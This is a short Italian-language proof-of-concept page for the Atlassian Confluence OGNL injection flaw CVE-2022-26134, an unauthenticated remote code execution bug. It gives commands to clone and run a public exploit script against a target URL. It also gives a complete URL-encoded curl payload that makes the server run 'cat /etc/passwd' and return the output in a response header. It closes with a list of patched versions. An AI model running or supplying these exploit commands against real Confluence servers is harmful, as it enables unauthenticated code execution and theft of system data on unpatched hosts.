
[PoC] Atlassian Confluence (CVE-2022-26134) - Vulnerabilità di injection OGNL non autenticata (RCE)
Nelle versioni interessate di Confluence Server e Data Center esiste una vulnerabilità di injection OGNL che consentirebbe a un attaccante non autenticato di eseguire codice arbitrario su un'istanza di Confluence Server o Data Center.
git clone https://github.com/kh4sh3i/CVE-2022-26134
cd CVE-2022-26134
python3 cve-2022-26134.py https://target.com CMD
Esempio con comando CURL:
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
Successivamente, il risultato del comando verrà riflesso nel parametro X-Cmd-Response nell'header della risposta.
Le versioni rilasciate 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 e 7.18.1 contengono una correzione per questo problema.